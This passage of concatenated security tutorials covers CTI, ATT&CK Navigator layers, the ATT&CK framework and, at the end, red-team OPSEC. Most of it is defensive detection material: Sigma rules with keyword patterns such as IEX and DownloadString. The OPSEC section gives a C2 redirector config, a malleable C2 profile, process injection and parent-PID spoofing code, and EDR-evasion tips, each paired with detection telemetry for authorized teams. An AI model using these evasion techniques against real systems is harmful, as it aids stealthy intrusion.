for t in techniques:
    tech = t["object"]
    tid = tech.external_references[0].external_id
    print(f"{tid}\t{tech.name}")

Feed the resulting technique list into ATT&CK Navigator to build a heat-map. Overlay your detection coverage against the group’s TTPs and the gaps become your next intelligence requirements.

8. From Intelligence to Detection: Operationalizing CTI

Intelligence that never reaches a sensor is wasted. The pipeline is: ATT&CK technique → detection hypothesis → log source → detection rule.

Take T1059.001 (PowerShell). Hypothesis: encoded command execution is rare in this environment and worth alerting. Log source: PowerShell Script Block Logging (Event ID 4104). Rule:

title: Suspicious PowerShell Encoded Command Execution
id: 6e8a1f3c-2b7d-4f9a-9c1e-0a2b3c4d5e6f
status: experimental
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - '-enc '
      - 'FromBase64String'
  condition: selection
level: high
tags:
  - attack.execution
  - attack.t1059.001

Every Sigma rule tied to a technique is a step up the Pyramid of Pain. The tags field (attack.<tactic>, attack.t<technique>) keeps each rule linked to the framework, so coverage roll-up is automatic.

Invest accordingly: spend disposable effort on IOC matching (high churn, low pain to adversary) and durable engineering effort on TTP detections (low churn, high pain). STIX/TAXII feeds drive SIEM/SOAR enrichment so analysts triage against context instead of researching every artifact by hand.

9. CTI for Red Teams and Defenders: Two Sides of the Same Brief

Adversary emulation is CTI consumed offensively. A red team ingests a finished report on “Fictitious Bear,” extracts the ATT&CK technique set, and emulates only those TTPs to validate whether controls fire. The blue team consumes the identical brief to confirm the same detections exist. One brief, two scopes, one shared technique vocabulary.

Scope is a legal control, not a courtesy. Emulation must stay inside an authorized rules-of-engagement document. Respect TLP on the source intelligence: a TLP:AMBER report informs an internal exercise but cannot be republished in a public write-up.

10. Common Attacker Techniques

Adversaries run their own intelligence cycle against you. CTI teams must practice counter-intelligence awareness.

Counter-intelligence implication: assume your public footprint (and your IOC feeds) are adversary collection targets. Watch for reconnaissance against your own brand and credentials.

11. Defensive Strategies & Detection

CTI is itself a defensive discipline. Operationalize feeds against host and network telemetry.

Sysmon Event IDs for IOC operationalization:

ETW providers for TTP-level hunting: Microsoft-Windows-DNS-Client (domain IOC matching), Microsoft-Windows-PowerShell/Operational (T1059.001), and Microsoft-Windows-Sysmon/Operational (broad process/network/file telemetry).

Audit policy: enable Audit Process Creation (Success) for process-IOC correlation, and turn on PowerShell Script Block Logging via GPO for behavioral visibility.

A Sigma rule matching a CTI-sourced malicious domain against DNS telemetry:

title: DNS Query to CTI-Listed Malicious Domain
id: 1f2a3b4c-5d6e-7f80-91a2-b3c4d5e6f708
status: experimental
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 22
    QueryName|endswith:
      - 'cdn-update.example'    # fictitious C2 domain
  condition: selection
level: high
tags:
  - attack.command_and_control
  - attack.t1071.001

Program controls: enforce TLP at ingestion in the TIP; gate raw IOC feeds behind de-duplication and decay scoring before SIEM import; run an intelligence-requirement review tied to ATT&CK Navigator coverage gaps; and use the Kill Chain quarterly to check detection balance across the attack lifecycle.

12. Tools for CTI Analysis

13. MITRE ATT&CK Mapping

14. Summary

• CTI is analyzed, decision-ready knowledge about adversaries — not a raw IOC feed — produced by a disciplined six-phase lifecycle.
• The four intelligence types (strategic, operational, tactical, technical) trade durability against immediacy; technical IOCs decay in minutes while strategic intelligence endures for years.
• STIX 2.1, TAXII 2.1, and TLP standardize how intelligence is represented, exchanged, and handled — enforce TLP at ingestion so TLP:RED never leaks downstream.
• The Diamond Model, Kill Chain, Pyramid of Pain, and MITRE ATT&CK interlock; TTP-level intelligence at the pyramid apex outlasts IOC-level intelligence at its base.
• Operationalize CTI by converting ATT&CK techniques into Sigma rules and matching IOC feeds against Sysmon EventID 1/3/7/22, closing the loop with stakeholder feedback.

Related Tutorials

• Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

References

• MITRE ATT&CK® – Adversary Emulation Plans
• MITRE ATT&CK® – Get Started: Threat Intelligence
• MITRE ATT&CK® for Cyber Threat Intelligence (CTI) Training
• NIST SP 800-150 – Guide to Cyber Threat Information Sharing
• CISA – Service Models for Cyber Threat Intelligence (White Paper)
• CISA – Cyber Threat Information Sharing (CTIS) – Shared Cybersecurity Services

Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers

Objective: Understand how to use MITRE ATT&CK Navigator to build, annotate, combine, and export technique layers — the JSON layer format, per-technique annotation fields, gap analysis via score expressions, programmatic generation, and the operational security controls around layer files for threat-informed defense and adversary emulation.

1. What Is ATT&CK Navigator and Why It Matters

ATT&CK Navigator is a web-based tool for annotating and exploring ATT&CK matrices. It visualizes defensive coverage, supports red/blue team planning, and tracks the frequency of detected techniques. It is a meta-tool: it generates no host telemetry and maps to no single ATT&CK technique. Instead, it is the primary planning surface for structured adversary emulation and threat-informed defense.

The unit of work is the layer — a JSON file scoped to one ATT&CK domain and matrix version, listing techniques with whatever annotations have been applied. Layers can store a default view configuration (sorting, visible platforms) and can be authored interactively in the UI or generated programmatically.

The current release is v5.3.2 (April 21, 2026). The hosted instance lives at mitre-attack.github.io/attack-navigator/.

2. Tool Setup: Hosted Instance vs. Self-Hosted

The hosted instance is the fastest start. Layer files uploaded to it stay client-side — nothing is stored on MITRE’s servers. Despite that, MITRE recommends running your own instance if your layer files contain sensitive content.

Navigator is a dynamic web application that runs on Node.js and Angular CLI, and installs on Linux. A self-hosted instance can be air-gapped and fed local STIX bundles via the customDataURL field or customDataURL query parameter.

git clone https://github.com/mitre-attack/attack-navigator.git
cd attack-navigator/nav-app
npm install
ng serve   # serves the Navigator on localhost:4200

Self-hosted configuration lives in nav-app/src/assets/config.json. The banner setting (default empty string) displays HTML content at the top of the page. The features array lists togglable features; setting enabled: false on a feature hides all of its control elements.

3. Anatomy of a Layer: The JSON Schema

The current specification is Version 4.5 of the layer file format. Field names are case-sensitive — techniqueID, not techniqueId.

A minimal valid layer:

{
  "name": "Detection Coverage Baseline",
  "versions": {
    "attack": "15",
    "navigator": "5.3.2",
    "layer": "4.5"
  },
  "domain": "enterprise-attack",
  "description": "Blue-team detection posture",
  "techniques": []
}

The sorting field controls ordering within each tactic: 0 ascending by name, 1 descending by name, 2 ascending by score, 3 descending by score.

4. Building a Layer from Scratch (UI Walkthrough)

Open Navigator and select Create New Layer. Choose a domain (Enterprise, Mobile, or ICS) and an ATT&CK version — these become the domain and versions.attack fields. The matrix renders with every tactic as a column and techniques stacked beneath.

Use search to query by keyword, and multiselect to bulk-select techniques by platform, data source, or tactic. Selecting a technique highlights it; the right-click context menu and the technique controls bar apply annotations to the current selection. Expand a parent technique to reveal and individually annotate its sub-techniques (showSubtechniques: true).

This is the core discipline: select the techniques relevant to your engagement or coverage assessment, then annotate the selection rather than each cell one at a time.

5. Annotating Techniques: Colors, Scores, Comments, Metadata, and Links

Each object in the techniques array supports these fields:

"techniques": [
  {
    "techniqueID": "T1078",
    "color": "#fc3b3b"
  },
  {
    "techniqueID": "T1059.001",
    "tactic": "execution",
    "score": 75,
    "comment": "Script Block Logging on; no behavioral alert yet"
  },
  {
    "techniqueID": "T1055",
    "enabled": false,
    "metadata": [
      { "name": "owner", "value": "detection-eng" },
      { "name": "ticket", "value": "DET-4412" }
    ]
  }
]

Scored techniques draw their fill color from the gradient. Define a red→yellow→green scale to read low coverage at a glance:

"gradient": {
  "colors": ["#ff6666", "#ffe766", "#8ec843"],
  "minValue": 0,
  "maxValue": 100
}

Make the scale legible to stakeholders with legendItems:

"legendItems": [
  { "label": "No Coverage", "color": "#ff6666" },
  { "label": "Logged Only", "color": "#ffe766" },
  { "label": "Alerted",     "color": "#8ec843" }
]

Use an explicit color for binary states (in-scope vs. out-of-scope), and score + gradient for graded coverage. Set enabled: false to grey out techniques irrelevant to the assessment so the heat-map stays readable.

6. Working with Pre-Built Threat Group Layers

ATT&CK publishes pre-built Navigator layers for documented threat groups. From any group’s page on attack.mitre.org, use the option to view or export the group’s technique usage as a Navigator layer — stored as a JSON file.

Import these as the baseline for adversary emulation planning: the group layer becomes the what they do, and your detection-coverage layer becomes the what you can see. Loading the group’s JSON via Open Existing Layer instantly highlights every technique attributed to that adversary across the matrix.

7. Combining Layers: Gap Analysis via Score Expressions

Layers compose. Create New Layer → Create Layer from Other Layers lets Navigator produce a calculated layer from arithmetic over loaded layers, which is how you build gap analysis without spreadsheets.

Each open layer is assigned a variable (a, b, c). Entering a score expression of a+b+c combines scores across three threat-group layers, surfacing technique overlap among multiple adversaries.

The high-value workflow for detection engineering: load the adversary group layer (a) and your detection-coverage layer (b), then evaluate b - a. Techniques the adversary uses but you cannot detect render with negative scores — these are your prioritized work items. Set sorting: 3 to float the highest-scored (or, inverted, the worst-gap) techniques to the top of each tactic.

{
  "name": "Coverage Gap (b - a)",
  "domain": "enterprise-attack",
  "sorting": 3,
  "gradient": {
    "colors": ["#ff6666", "#ffffff", "#8ec843"],
    "minValue": -100,
    "maxValue": 100
  }
}

8. Programmatic Layer Generation with Python

Author layers at scale with mitreattack-python. Query the STIX data for a named intrusion-set, collect the techniques tied to it, and serialize a v4.5 layer dict.

import json
from mitreattack.stixdata import MitreAttackData

mad = MitreAttackData("enterprise-attack.json")

group = mad.get_groups_by_alias("APT29")[0]
techniques = mad.get_techniques_used_by_group(group["id"])

annotations = []
for t in techniques:
    attack_id = mad.get_attack_id(t["object"]["id"])
    annotations.append({
        "techniqueID": attack_id,
        "score": 1,
        "comment": "Attributed via STIX intrusion-set relationship"
    })

layer = {
    "name": f"{group['name']} TTPs",
    "versions": {"attack": "15", "navigator": "5.3.2", "layer": "4.5"},
    "domain": "enterprise-attack",
    "description": "Auto-generated group layer",
    "techniques": annotations,
    "gradient": {"colors": ["#ffffff", "#fc3b3b"], "minValue": 0, "maxValue": 1}
}

with open("apt_layer.json", "w") as f:
    json.dump(layer, f, indent=2)

Generated JSON round-trips straight back into the UI via Open Existing Layer. Consuming a finished layer is equally simple — ingest it into reporting tooling and emit a Markdown gap table:

import json

with open("coverage_gap.json") as f:
    layer = json.load(f)

print("| Technique | Score | Comment |")
print("|---|---|---|")
for t in layer["techniques"]:
    print(f"| {t['techniqueID']} | {t.get('score','-')} | {t.get('comment','')} |")

9. Exporting Layers: JSON, SVG, Excel, and Multi-Layer Bundles

Search and filter the matrix to the exact view you want, then export it.

Embed a hosted layer directly in a report or internal portal with the layerURL query parameter:

<iframe
  src="https://mitre-attack.github.io/attack-navigator/#layerURL=https://intranet.local/layers/coverage_gap.json"
  width="100%" height="900" frameborder="0">
</iframe>

10. Layer Versioning and Migration

The sub-techniques update replaced many techniques with sub-techniques carrying new IDs, so layers authored before that release may not render correctly in newer matrices. The official update-layers.py script both upgrades a layer to the latest format and remaps technique IDs to their replacers where possible.

python3 update-layers.py --input old_layer.json --output migrated_layer.json

The in-app layer upgrade wizard (added in v5.x alongside STIX 2.1 Collection Index and TAXII 2.1 support) walks changed techniques interactively: it lists each technique’s previous and current state with links to both versions. Enable show annotated techniques only to focus on your annotations, then copy them from the previous version to the current one.

11. Common Attacker Techniques

Navigator is a planning tool — the “techniques” it manipulates are ATT&CK TTPs encoded as techniqueID values. The table below shows representative primitives a red team maps post-engagement and a blue team scores for coverage.

Each cell in Navigator links to the technique’s ATT&CK page, which exposes Data Sources, Detections, and Mitigations — use Navigator as the bridge into those fields, not the endpoint.

12. Defensive Strategies & Detection

The Navigator generates no telemetry; the defensive concern is twofold — layer-file OPSEC and translating scores into real detection.

Layer-file operational security:
– Layer JSON may contain red-team TTPs, engagement timelines, and detection-gap scoring. Do not upload sensitive layers to the public hosted instance.
– Hosted-instance uploads stay client-side, but run a self-hosted, access-controlled instance (auth proxy or VPN-only) for operational data.
– Version-control layers in Git with access controls equal to other sensitive operational documentation.

Translating scores to detection: a technique scored 0 in your coverage layer should map to a missing Sysmon rule, ETW subscription, or audit policy. Cross-reference each low-scored techniqueID against the ATT&CK page’s data sources. For T1059.001 (PowerShell): Sysmon Event ID 1 (Process Create), Event ID 4104 (Script Block Logging via the Microsoft-Windows-PowerShell ETW provider), and audit policy Audit Process Creation.

A Sigma rule sketch for the missing detection identified by a gap layer:

title: Suspicious PowerShell Script Block Execution
logsource:
  product: windows
  service: powershell
detection:
  selection:
    EventID: 4104
    ScriptBlockText|contains:
      - 'IEX'
      - 'DownloadString'
      - 'FromBase64String'
  condition: selection
level: high

Overlaying an adversary layer (a) against a coverage layer (b) with the score expression b - a surfaces negative-score techniques — adversary TTPs you cannot detect — as the highest-priority detection-engineering backlog.

13. Tools for Layer Analysis

14. MITRE ATT&CK Mapping

Navigator has no technique ID of its own — it is a blue/purple-team planning tool. Its ATT&CK relevance is the technique IDs you place inside layers and the detection guidance each one links to.

Summary

• ATT&CK Navigator is the standard planning surface for threat-informed defense and adversary emulation — it visualizes coverage, it does not attack.
• Layers are v4.5-format JSON files scoped to one domain; per-technique fields (techniqueID, score, color, comment, metadata, enabled) drive the heat-map.
• Score expressions like b - a turn adversary and coverage layers into automatic gap analysis, surfacing undetectable TTPs as detection-engineering work.
• Generate layers programmatically with mitreattack-python, migrate them with update-layers.py, and export to JSON, SVG, or Excel.
• Treat layer files as sensitive: self-host with access control, version them in Git, and cross-reference every low score against real Sysmon/ETW/audit-policy detections.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle

References

• ATT&CK Navigator – Official GitHub Repository (mitre-attack/attack-navigator)
• ATT&CK Navigator USAGE.md – Building, Annotating & Exporting Layers
• ATT&CK Navigator Layer File Format Specification v4.5
• ATT&CK Navigator Layers README – Examples & Programmatic Generation
• MITRE ATT&CK – Adversary Emulation Plans (Official)
• MITRE ATT&CK – Getting Started: Adversary Emulation and Red Teaming

Introduction to MITRE ATT&CK: Structure, Tactics, Techniques, and Sub-Techniques

Objective: Understand what the MITRE ATT&CK knowledge base is, how it is structured — domains, matrices, tactics, techniques, sub-techniques, and procedures — and how defenders, threat hunters, and authorized red teamers use it as a shared operational language for threat-informed defense and adversary emulation.

1. What Is MITRE ATT&CK and Why It Matters

MITRE ATT&CK is a living, open-source knowledge base that documents real-world adversary tactics, techniques, and procedures (TTPs). It was created by the MITRE Corporation and first released in 2013. ATT&CK focuses on how attackers behave — the actions they take inside an environment — rather than on the indicators of compromise (IOCs) they leave behind.

This distinction matters. IOCs (hashes, IPs, domains) are brittle and disposable; an adversary rotates them cheaply. Behaviors — injecting code, dumping credentials, abusing valid accounts — are expensive to change. ATT&CK catalogs the durable behaviors, grounded in empirical evidence from intrusions observed across industries and geographies.

ATT&CK builds on the Lockheed Martin Cyber Kill Chain (Hutchins, Cloppert & Amin, 2011). The Matrix columns are ordered roughly along the chronological flow of an intrusion, but ATT&CK goes deeper, enumerating concrete mechanisms under each phase rather than naming abstract stages.

2. The Three Domains: Enterprise, Mobile, and ICS

ATT&CK is partitioned into three domains, each with its own matrices.

This site focuses on Enterprise ATT&CK because it covers the Windows, Linux, and cloud surfaces most relevant to blue teams, DFIR, and authorized red teaming.

3. Tactics, Techniques, Sub-Techniques, and Procedures

The ATT&CK data model is a four-level hierarchy. Each level answers a different question.

Tactics represent the “why.” Techniques represent the “how.” Sub-techniques describe a narrower variation. For example, the technique Account Manipulation (T1098) encompasses sub-techniques such as Additional Email Delegate Permissions (T1098.002) and Exchange Email Delegate Permissions (T1098.003), each detailing a distinct method.

Procedures are the real-world implementations — specific tools, malware families, or hands-on-keyboard methods observed in active campaigns. This is what makes ATT&CK actionable: you can study the actual tradecraft, not just the abstraction.

4. Walking the Enterprise Matrix: The 14 Tactics

The Matrix column headings are the tactics, presented in roughly chronological order. The cells under each column are the techniques that achieve that tactical objective. The baseline below reflects ATT&CK v16.1 (14 tactics, 203 techniques, 453 sub-techniques). For reference, v18 lists 14 tactics, 216 techniques, 475 sub-techniques, 44 mitigations, and over 1,700 analytics. Always pin counts to a version.

v19 note (April 2026): ATT&CK v19 introduced a major structural change — the Defense Evasion tactic (TA0005) was split into two new tactics, Stealth and Defense Impairment. TA0005 is deprecated in the current release. Retrieve the exact new tactic IDs and transition guidance from attack.mitre.org/resources/updates/ before mapping against v19.

5. Anatomy of a Technique Page

Every technique page is a structured record. Take T1059.001 — PowerShell (a sub-technique of T1059 Command and Scripting Interpreter, under Execution).

A technique can belong to multiple tactics. The Detection section lists data source / data component pairs, free-text analytic notes, and — since v14 — structured pseudocode analytics from the MITRE Cyber Analytics Repository (CAR). These data-source fields tell you exactly which telemetry to collect.

6. Related Objects: Groups, Software, Campaigns, and Mitigations

ATT&CK is more than a list of behaviors. A graph of related objects ties techniques to threat intelligence.

This turns the Matrix into an operational tool: not just “T1056.001 exists,” but which group uses it, with what software, in which campaign, and which mitigations apply. The Group pages are the entry point for threat-actor-centric research and emulation planning.

7. Programmatic Access via STIX and the ATT&CK Python Library

ATT&CK is published as STIX 2.1 — the structured threat intelligence format from the OASIS CTI Technical Committee. In STIX, an intrusion-set object (Group) links to attack-pattern objects (techniques/sub-techniques), malware and tool objects (software), and campaign objects. MITRE distributes the bundles on GitHub.

The canonical library is mitreattack-python (github.com/mitre-attack/mitreattack-python). Load a bundle and query the data model directly.

from mitreattack.stix2 import MitreAttackData

mitre = MitreAttackData("enterprise-attack.json")

# List every technique under the Persistence tactic (TA0003)
for t in mitre.get_techniques_by_tactic("persistence", "enterprise-attack"):
    print(mitre.get_attack_id(t.id), t.name)

Fetch a single technique by its ATT&CK ID and inspect the schema fields:

tech = mitre.get_object_by_attack_id("T1059.001", "attack-pattern")
print(tech.name)                 # PowerShell
print(tech.x_mitre_platforms)    # ['Windows']
for phase in tech.kill_chain_phases:
    print(phase.phase_name)      # execution

Walk the relationship graph to list every Group observed using a technique:

for g in mitre.get_groups_using_technique(tech.id):
    grp = g["object"]
    print(mitre.get_attack_id(grp.id), grp.name, grp.aliases)

The raw attack-pattern object behind that technique looks like this (trimmed and annotated):

{
  "type": "attack-pattern",
  "id": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736",
  "name": "PowerShell",
  "x_mitre_platforms": ["Windows"],
  "x_mitre_is_subtechnique": true,
  "kill_chain_phases": [
    { "kill_chain_name": "mitre-attack", "phase_name": "execution" }
  ],
  "external_references": [
    {
      "source_name": "mitre-attack",
      "external_id": "T1059.001",
      "url": "https://attack.mitre.org/techniques/T1059/001"
    }
  ]
}

To stay current across releases, diff two STIX bundles to surface added or modified techniques:

# Illustrative: compare two domain bundles and emit a change report
from mitreattack.diffStix.changelog_helper import get_new_changelog_md

get_new_changelog_md(
    old="enterprise-attack-16.1.json",
    new="enterprise-attack-18.0.json",
    domains=["enterprise-attack"],
    markdown_file="attack-v16-to-v18-changes.md",
)

8. The ATT&CK Navigator and Coverage Layers

The ATT&CK Navigator renders the Matrix as an interactive heat map. You assign scores and colors to techniques to build layers — coverage maps for detection engineering, gap analysis, and emulation scoping. Layers are JSON and version-controllable.

{
  "name": "Detection Coverage - Execution & Persistence",
  "versions": { "attack": "16", "navigator": "5.1.0", "layer": "4.5" },
  "domain": "enterprise-attack",
  "techniques": [
    { "techniqueID": "T1059.001", "score": 100, "color": "#31a354",
      "comment": "Sysmon EID 1 + Script Block Logging" },
    { "techniqueID": "T1547.001", "score": 50, "color": "#fee08b",
      "comment": "Partial registry telemetry" },
    { "techniqueID": "T1055", "score": 0, "color": "#de2d26",
      "comment": "No process-injection detection" }
  ]
}

Overlay an adversary’s known techniques (red) against your detection coverage (green) and the white space is your gap list.

9. Applying ATT&CK in Defense and Authorized Emulation

As a defender, map every SIEM alert and detection rule to a technique ID. Build Navigator layers to measure coverage, then prioritize engineering against the techniques most relevant to your threat model — threat-informed defense instead of blanket coverage.

As an authorized red teamer / adversary emulator, pull a Group page (e.g., a relevant APT), extract its technique set, and build a TTP-driven emulation plan. This is fundamentally different from vulnerability-based scoping: you exercise the behaviors the defense must catch. Tools like MITRE CALDERA and Atomic Red Team chain ATT&CK-mapped tests so blue and red teams speak the same IDs.

10. Common Attacker Techniques

The framework catalogs thousands of behaviors. A handful illustrate the model’s range and the important fact that one technique can serve multiple tactics.

T1078 (Valid Accounts) is the teaching case: it appears under four tactics — Initial Access, Persistence, Privilege Escalation, and Defense Evasion — because the same behavior serves different adversary goals depending on context.

11. Defensive Strategies & Detection

Because ATT&CK is structural, the goal here is wiring it into your detection workflow. Each technique page lists Data Sources (e.g., Process, Command, Windows Registry, Network Traffic) and Data Components (e.g., Process Creation, Network Connection Creation). These map directly to telemetry you must collect.

On Windows, Sysmon supplies much of that telemetry.

Sigma is the vendor-neutral detection format that carries ATT&CK IDs in its tags block, letting every rule trace back to a technique and tactic.

title: PowerShell EncodedCommand Execution
logsource:
  product: windows
  service: sysmon
detection:
  selection:
    EventID: 1
    Image|endswith: '\powershell.exe'
    CommandLine|contains:
      - '-enc'
      - '-EncodedCommand'
  condition: selection
tags:
  - attack.execution        # tactic name (lowercase)
  - attack.t1059.001        # sub-technique ID (lowercase)
level: medium

Mitigations use M#### IDs (verify against attack.mitre.org/mitigations/enterprise/ before citing in production):

12. Tools for ATT&CK Analysis

13. MITRE ATT&CK Mapping

Every other tutorial on this site closes with a mapping table. Read it as technique → tactic → context. This is the worked example.

14. Summary

• MITRE ATT&CK is a behavior-based, empirically grounded knowledge base of adversary TTPs — not an IOC feed.
• The data model is a hierarchy: tactics (why, TA####) → techniques (how, T####) → sub-techniques (T####.###) → procedures (real-world instances).
• Related objects — Groups (G####), Software (S####), Campaigns (C####), Mitigations (M####) — turn the Matrix into an operational, intelligence-led tool.
• Pin counts and structure to a specific version; v19 (April 2026) split Defense Evasion (TA0005) into Stealth and Defense Impairment — confirm the new IDs at attack.mitre.org/resources/updates/.
• Operationalize ATT&CK by mapping data sources to Sysmon telemetry, tagging Sigma rules with technique IDs, and tracking coverage in Navigator layers for both detection engineering and authorized emulation.

Related Tutorials

• Mapping CTI Reports to ATT&CK TTPs: A Step-by-Step Methodology
• Navigating ATT&CK Navigator: Building, Annotating, and Exporting Technique Layers
• APT Profiling: How to Build a Comprehensive Adversary Profile from Open-Source Intelligence
• Cyber Threat Intelligence (CTI) Fundamentals: Sources, Types, and the Intelligence Lifecycle
• Threat-Informed Defense: Principles, Frameworks, and the Intelligence-Driven Security Cycle

References

• MITRE ATT&CK® – Getting Started (Official Resources Overview)
• Enterprise Tactics – MITRE ATT&CK®
• Enterprise Techniques – MITRE ATT&CK®
• Adversary Emulation Plans – MITRE ATT&CK®
• ATT&CK Adversary Emulation & Red Teaming – MITRE ATT&CK® Get Started
• MITRE ATT&CK: Design and Philosophy (Official PDF – Strom et al.)

OPSEC Principles for Red Teamers: Staying Undetected

Objective: Understand the operational security discipline an authorized red teamer must apply across infrastructure, process execution, network traffic, and on-disk artifacts to minimize detection surface, and learn the corresponding telemetry defenders use to catch each OPSEC failure.

1. What OPSEC Means for Red Teamers

Operational security is the discipline that separates a noisy penetration test from a realistic adversary simulation. A red team engagement that triggers every EDR sensor on the first beacon delivers a process audit, not a threat-emulation result. Every action — every API call, every DNS query, every dropped file — generates a detection signature. Strong OPSEC means knowing precisely what artifacts each action produces and either avoiding the action, blending it into noise, or accepting the risk consciously.

This tutorial is written for authorized red teamers and the blue teams who hunt them. Every offensive technique is paired with the exact telemetry that exposes it, so operators can self-audit and defenders can close the loop.

2. The Five-Step OPSEC Cycle Applied to Red Teaming

The classic OPSEC process, adapted to an offensive engagement:

Operators run this loop before each phase — initial access, lateral movement, persistence, exfiltration — not once at the start of the engagement.

3. Thinking Like a Sensor: The Defender’s Telemetry Stack

You cannot evade what you do not understand. Modern defenders correlate signals from at least five overlapping layers:

The Microsoft-Windows-Threat-Intelligence provider deserves a callout: it is PPL-protected and is the primary ETW source EDRs use for injection telemetry. Any attempt to disable it is itself a high-fidelity alert (T1562.001).

4. Infrastructure OPSEC: Redirectors, Domains, and Segmentation

If your C2 team server is exposed directly to the target network, a single block at the perimeter ends the engagement. Infrastructure OPSEC is about layering the chain so that the loud parts are disposable.

A minimal Nginx redirector enforcing path-based filtering:

server {
    listen 443 ssl;
    server_name updates.example-cdn.com;

    ssl_certificate     /etc/letsencrypt/live/.../fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/.../privkey.pem;

    # Drop anything that isn't on the expected beacon URI
    if ($uri !~* "^/(api/v2/telemetry|cdn/assets)") {
        return 404;
    }

    # Drop scanners and unexpected User-Agents
    if ($http_user_agent !~* "Mozilla/5\.0.*Chrome") {
        return 404;
    }

    location / {
        proxy_pass https://teamserver.internal:8443;
        proxy_set_header Host $host;
    }
}

5. Malleable C2 Profiles and Traffic Shaping

Default C2 profiles are signatured. A malleable profile rewrites every byte the beacon puts on the wire so traffic blends with expected enterprise patterns.

http-get {
    set uri "/api/v2/telemetry";
    client {
        header "Host" "updates.example-cdn.com";
        header "Accept" "application/json";
        metadata {
            base64url;
            prepend "session=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "application/json";
        output {
            base64;
            prepend "{\"status\":\"ok\",\"data\":\"";
            append "\"}";
            print;
        }
    }
}

http-post {
    set uri "/api/v2/upload";
    client {
        header "Content-Type" "application/octet-stream";
        id { base64url; parameter "tid"; }
        output { base64; print; }
    }
}

Key directives: the metadata transform hides session state in a cookie; Host: masquerades as a CDN; URIs match a believable application path. The corresponding http-stager, process-inject, and post-ex blocks must also be customized — default stager URIs are the number-one Cobalt Strike fingerprint.

6. Process & Memory OPSEC

The classic injection triad is also the most signatured behavior in Windows. The following is shown as a “what not to do naively” reference — every line annotates the telemetry it produces:

// VirtualAllocEx in remote PID -> Sysmon EID 10 (PROCESS_VM_OPERATION)
LPVOID rbuf = VirtualAllocEx(hProc, NULL, sz,
                             MEM_COMMIT | MEM_RESERVE,
                             PAGE_EXECUTE_READWRITE);  // RWX = EDR red flag

// WriteProcessMemory                 -> Sysmon EID 10 (PROCESS_VM_WRITE)
WriteProcessMemory(hProc, rbuf, sc, sz, NULL);

// CreateRemoteThread                 -> Sysmon EID 8 (CreateRemoteThread)
HANDLE hThr = CreateRemoteThread(hProc, NULL, 0,
                                 (LPTHREAD_START_ROUTINE)rbuf,
                                 NULL, 0, NULL);

Quieter alternatives reduce — but do not eliminate — visibility:

• Section-based injection via NtMapViewOfSection (T1055.004) avoids WriteProcessMemory but is still observable via Threat-Intelligence ETW.
• APC injection via NtQueueApcThread triggers only when the target thread enters an alertable wait.
• Reflective DLL / PE loading (T1620) avoids LoadLibrary and Sysmon Event ID 7 module-load entries for the malicious DLL path.
• Direct / indirect syscalls (the SysWhispers3 pattern) bypass userland EDR hooks by invoking NTAPI numbers via the syscall instruction.
• Allocate RW, then VirtualProtect to RX — never request PAGE_EXECUTE_READWRITE directly.

Process selection matters as much as the technique. notepad.exe initiating an outbound connection is anomalous; a browser or svchost.exe doing so is not.

7. Parent PID Spoofing

Parent-child chains are one of the cheapest behavioral detections. Spoofing the parent via UpdateProcThreadAttribute breaks the chain so a payload launched from a phishing macro can claim explorer.exe as its parent (T1134.004).

STARTUPINFOEXA si = { 0 };
PROCESS_INFORMATION pi = { 0 };
SIZE_T attrSize = 0;

si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
InitializeProcThreadAttributeList(NULL, 1, 0, &attrSize);
si.lpAttributeList = HeapAlloc(GetProcessHeap(), 0, attrSize);
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attrSize);

HANDLE hParent = OpenProcess(PROCESS_CREATE_PROCESS, FALSE, explorerPid);
UpdateProcThreadAttribute(si.lpAttributeList, 0,
    PROC_THREAD_ATTRIBUTE_PARENT_PROCESS,
    &hParent, sizeof(HANDLE), NULL, NULL);

CreateProcessA(NULL, "C:\\Windows\\System32\\cmd.exe", NULL, NULL, FALSE,
               EXTENDED_STARTUPINFO_PRESENT, NULL, NULL,
               &si.StartupInfo, &pi);

The spoofed parent appears in Sysmon Event ID 1’s ParentProcessId and ParentImage fields. Detection: correlate ParentImage with the CreatingProcessId recorded by EDR kernel callbacks — they will disagree on a spoofed launch.

8. Network OPSEC: Sleep, Jitter, and Protocol Blending

A beacon calling back every 60 seconds on the dot is trivially clustered by an NDR. Add jitter:

import random, time

def beacon_sleep(base_seconds: int, jitter_pct: int) -> None:
    delta = base_seconds * (jitter_pct / 100.0)
    interval = base_seconds + random.uniform(-delta, +delta)
    # 60s base, 30% jitter -> 42s..78s
    time.sleep(interval)

A 60s ± 30% schedule destroys naive periodicity heuristics; longer sleeps (3600s ± 50%) defeat most short-window NDR baselines but cost interactivity. Match channel to environment:

9. LOLBins and In-Memory Execution

Living-off-the-Land Binaries (LOLBins) are signed Microsoft binaries that proxy execution and inherit trust. The trade-off is that they are now heavily monitored — rundll32.exe spawned by winword.exe is a textbook ASR trigger.

In-memory execution avoids disk artifacts entirely:

• BOFs (Beacon Object Files) execute small COFF objects inside the implant process — no new process, no file on disk.
• Assembly.Load() loads a .NET assembly from a byte array, bypassing Image Load events for the managed module on disk.
• Reflective DLL loading maps a DLL without invoking the loader, so it never appears in LoadLibrary audit paths.

A note on PowerShell: powershell -enc <base64> looks obfuscated and is logged by Sysmon Event ID 1 in its decoded form once Script Block Logging is enabled. AMSI sees the deobfuscated content immediately before execution. Encoding is not evasion against a modern stack.

10. Artifact & Log OPSEC

Cleaning up is part of the engagement — but cleanup itself is loud.

